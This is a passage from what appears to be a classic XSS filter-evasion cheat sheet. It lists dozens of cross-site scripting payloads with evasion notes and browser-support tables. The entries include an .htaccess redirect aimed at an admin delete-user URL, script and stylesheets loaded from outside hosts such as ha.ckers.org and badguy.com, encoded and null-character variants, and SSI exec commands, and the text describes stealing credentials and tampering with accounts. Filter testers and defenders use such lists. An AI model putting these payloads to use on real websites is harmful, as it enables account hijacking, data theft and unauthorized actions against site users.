SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> - This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - IMG Embedded commands 2 - Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser - IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC="http://badguy.com/a.jpg"> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - IMG STYLE w/expression - exp/*<XSS STYLE='no\xss:noxss("*//*"); -xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'> - IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - List-style-image - <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS - Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - IMG w/VBscript - <IMG SRC='vbscript:msgbox("XSS")'> - VBscript in an image - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - LAYER - <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER> - Layer (Older Netscape only) - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - Livescript - <IMG SRC="livescript:[code]"> - Livescript (Older Netscape only) - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - US-ASCII encoding - %BCscript%BEalert(%A2XSS%A2)%BC/script%BE - Found by Kurt Huwig http://www.iku-ag.de/ This uses malformed ASCII encoding with 7 bits instead of 8. This XSS may bypass many content filters but only works if the hosts transmits in US-ASCII encoding, or if you set the encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="ns">NS4</span>] - - - META - <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> - The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - META w/data:URL - <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> - This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - META w/additional URL parameter - <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> - Meta with additional URL parameter. If the target website attempts to see if the URL contains an "http://" you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com) - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Mocha - <IMG SRC="mocha:[code]"> - Mocha (Older Netscape only) - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - OBJECT - <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT> - If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag. The linked file is actually an HTML file that can contain your XSS - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - OBJECT w/Embedded XSS - <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT> - Using an OBJECT tag you can embed XSS directly (this is unverified). - - Browser support: - - - Embed Flash - <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED> - Using an EMBED tag you can embed a Flash movie that contains XSS. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info). Demo: http://ha.ckers.org/weird/xssflash.html : - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - OBJECT w/Flash 2 - a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")"; eval(a+b+c+d); - Using this action script inside flash can obfuscate your XSS vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - STYLE - <STYLE TYPE="text/javascript">alert('XSS');</STYLE> - STYLE tag (Older versions of Netscape only) - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - STYLE w/Comment - <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))"> - STYLE attribute using a comment to break up expression (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one) - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - STYLE w/Anonymous HTML - <XSS STYLE="xss:expression(alert('XSS'))"> - Anonymous HTML with STYLE attribute (IE and Netscape 8.1+ in IE rendering engine mode don't really care if the HTML tag you build exists or not, as long as it starts with an open angle bracket and a letter) - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - STYLE w/background-image - <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A> - STYLE tag using background-image. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - STYLE w/background - <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE> - STYLE tag using background. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Stylesheet - <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> - Stylesheet - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - Remote Stylesheet 1 - <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css"> - Remote style sheet (using something as simple as a remote style sheet you can include your XSS as the style question redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode. Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote style sheet examples they use the body tag, so it won't work unless there is some content on the page other than the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - Remote Stylesheet 2 - <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE> - Remote style sheet part 2 (this works the same as above, but uses a <STYLE> tag instead of a <LINK> tag). A slight variation on this vector was used to hack Google Desktop http://www.hacker.co.il/security/ie/css_import.html. As a side note you can remote the end STYLE tag if there is HTML immediately after the vector to close it. This is useful if you cannot have either an equal sign or a slash in your cross site scripting attack, which has come up at least once in the real world. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - Remote Stylesheet 3 - <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet"> - Remote style sheet part 3. This only works in Opera but is fairly tricky. Setting a link header is not part of the HTTP1.1 spec. However, some browsers still allow it (like Firefox and Opera). The trick here is that I am setting a header (which is basically no different than in the HTTP header saying Link: <http://ha.ckers.org/xss.css>; REL=stylesheet) and the remote style sheet with my cross site scripting vector is running the JavaScript, which is not supported in FireFox. - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - Remote Stylesheet 4 - <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE> - Remote style sheet part 4. This only works in Gecko rendering engines and works by binding an XUL file to the parent page. I think the irony here is that Netscape assumes that Gecko is safer and therefore is vulnerable to this for the vast majority of sites. - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - TABLE - <TABLE BACKGROUND="javascript:alert('XSS')"></TABLE> - Table background (who would have thought tables were XSS targets... except me, of course). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - TD - <TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE> - TD background. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - XML namespace - <HTML xmlns:xss> -<?import namespace="xss" implementation="http://ha.ckers.org/xss.htc"> -<xss:xss>XSS</xss:xss> -</HTML> - XML namespace. The .htc file must be located on the server as your XSS vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - XML data island w/CDATA - <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]> -</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML> - XML data island with CDATA obfuscation (this XSS attack works only in IE and Netscape 8.1 IE rendering engine mode) - vector found by Sec Consult http://www.sec-consult.html while auditing Yahoo. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - XML data island w/comment - <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML> -<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN> - XML data island with comment obfuscation (doesn't use CDATA fields, but rather uses comments to break up the javascript directive) - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - XML (locally hosted) - <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML> -<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN> - Locally hosted XML with embedded JavaScript that is generated using an XML data island. This is the same as above but instead refers to a locally hosted (must be on the same server) XML file that contains the cross site scripting vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - XML HTML+TIME - <HTML><BODY> -<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"> -<?import namespace="t" implementation="#default#time2"> -<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML> - HTML+TIME in XML. This is how Grey Magic http://www.greymagic.com/security/advisories/gm005-mc/ hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Commented-out Block - <!--[if gte IE 4]> -<SCRIPT>alert('XSS');</SCRIPT> -<![endif]--> - Downlevel-Hidden block (only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything inside a comment block to be safe and therefore it does not need to be removed, which allows our XSS vector. Or the system could add comment tags around something to attempt to render it harmless. As we can see, that probably wouldn't do the job. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Cookie Manipulation - <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> - Cookie manipulation - admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can user it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - Local .htc file - <XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);"> - This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Rename .js to .jpg - <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> - Assuming you can only fit in a few characters and it filters against ".js" you can rename your JavaScript file to an image as an XSS vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - SSI - <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"--> - SSI (Server Side Includes) requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - PHP - <? echo('<SCR)'; -echo('IPT>alert("XSS")</SCRIPT>'); ?> - PHP - requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - JavaScript Includes - <BR SIZE="&{alert('XSS')}"> - &JavaScript includes (works in Netscape 4.x). - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] [<span class="s">NS4</span>] - - - Character Encoding Example - < -%3C -&lt -&lt; -&LT -&LT; -&#60 -&#060 -&#0060 -&#00060 -&#000060 -&#0000060 -&#60; -&#060; -&#0060; -&#00060; -&#000060; -&#0000060; -&#x3c -&#x03c -&#x003c -&#x0003c -&#x00003c -&#x000003c -&#x3c; -&#x03c; -&#x003c; -&#x0003c; -&#x00003c; -&#x000003c; -&#X3c -&#X03c -&#X003c -&#X0003c -&#X00003c -&#X000003c -&#X3c; -&#X03c; -&#X003c; -&#X0003c; -&#X00003c; -&#X000003c; -&#x3C -&#x03C -&#x003C -&#x0003C -&#x00003C -&#x000003C -&#x3C; -&#x03C; -&#x003C; -&#x0003C; -&#x00003C; -&#x000003C; -&#X3C -&#X03C -&#X003C -&#X0003C -&#X00003C -&#X000003C -&#X3C; -&#X03C; -&#X003C; -&#X0003C; -&#X00003C; -&#X000003C; -\x3c -\x3C -\u003c -\u003C - All of the possible combinations of the character "<" in HTML and JavaScript. Most of these won't render, but many of them can get rendered in certain circumstances (standards are great, aren't they?). - - Browser support: - - - Case Insensitive - <IMG SRC=JaVaScRiPt:alert('XSS')> - Case insensitive XSS attack vector. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - HTML Entities - <IMG SRC=javascript:alert(&quot;XSS&quot;)> - HTML entities (the semicolons are required for this to work). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - Grave Accents - <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`> - Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Image w/CharCode - <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))> - If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - UTF-8 Unicode Encoding - <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> - UTF-8 Unicode encoding (all of the XSS examples that use a javascript: directive inside of an IMG tag will not work in Firefox or Netscape 8.1+ in the Gecko rendering engine mode). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - Long UTF-8 Unicode w/out Semicolons - <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> - Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for "&#XX;", since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I've seen this in the wild). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - DIV w/Unicode - <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"> - DIV background-image with unicoded XSS exploit (this has been modified slightly to obfuscate the url parameter). The original vulnerability was found by Renaud Lifchitz (http://www.sysdream.com) as a vulnerability in Hotmail. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Hex Encoding w/out Semicolons - <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> - Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - UTF-7 Encoding - <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4- - UTF-7 encoding - if the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov http://www.pixel-apes.com/ for this one). You don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 IE rendering engine mode). Watchfire http://seclists.org/lists/fulldisclosure/2005/Dec/1107.html found this hole in Google's custom 404 script. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - Escaping JavaScript escapes - \";alert('XSS');// - Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a="$ENV{QUERY_STRING}";</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a="";alert('XSS');//";</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - End title tag - </TITLE><SCRIPT>alert("XSS");</SCRIPT> - This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="s">O8.54</span>] - - - STYLE w/broken up JavaScript - <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> - STYLE tags with broken up JavaScript for XSS (this XSS at times sends IE into an infinite loop of alerts). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Embedded Tab - <IMG SRC="jav ascript:alert('XSS');"> - Embedded tab to break up the cross site scripting attack. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - Embedded Encoded Tab - <IMG SRC="jav&#x09;ascript:alert('XSS');"> - Embedded encoded tab to break up XSS. For some reason Opera does not allow the encoded tab, but it does allow the previous tab XSS and encoded newline and carriage returns below. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Embedded Newline - <IMG SRC="jav&#x0A;ascript:alert('XSS');"> - Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - Embedded Carriage Return - <IMG SRC="jav&#x0D;ascript:alert('XSS');"> - Embedded carriage return to break up XSS (Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - Multiline w/Carriage Returns - <IMG SRC = " j a v a s c r i p t : a l e r t ( ' X S S ' ) " > - Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="s">O8.54</span>] - - - Null Chars 1 - perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out - Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example. - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Null Chars 2 - perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out - Here is a little known XSS attack vector using null characters. You can actually break up the HTML itself using the same nulls as shown above. I've seen this vector bypass some of the most restrictive XSS filters to date - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Spaces/Meta Chars - <IMG SRC=" &#14; javascript:alert('XSS');"> - Spaces and meta chars before the JavaScript in images for XSS (this is useful if the pattern match doesn't take into account spaces in the word "javascript:" - which is correct since that won't render- and makes the false assumption that you can't have a space between the quote and the "javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal). - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="ns">NS8.1-G</span>|<span class="ns">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Non-Alpha/Non-Digit - <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> - Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" != "<SCRIPT/XSS\s" - - Browser support: [<span class="s">IE6.0</span>|<span class="s">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Non-Alpha/Non-Digit Part 2 - <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")> - Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here. - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - No Closing Script Tag - <SCRIPT SRC=http://ha.ckers.org/xss.js - In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the "></SCRIPT>" portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally. - - Browser support: [<span class="ns">IE6.0</span>|<span class="ns">NS8.1-IE</span>] [<span class="s">NS8.1-G</span>|<span class="s">FF1.5</span>] [<span class="ns">O8.54</span>] - - - Protocol resolution in script tags - <SCRIPT SRC=//ha.ckers.org/.j> - This particular variant was submitted by Lukasz Pilorz and was based partially off of Ozh's protocol resolution bypass below. This cross site scripting example works in IE, Netscape in IE rendering mode and Opera if you add in a </SCRIPT> tag at the end. However, this is especially useful where space is an issue, 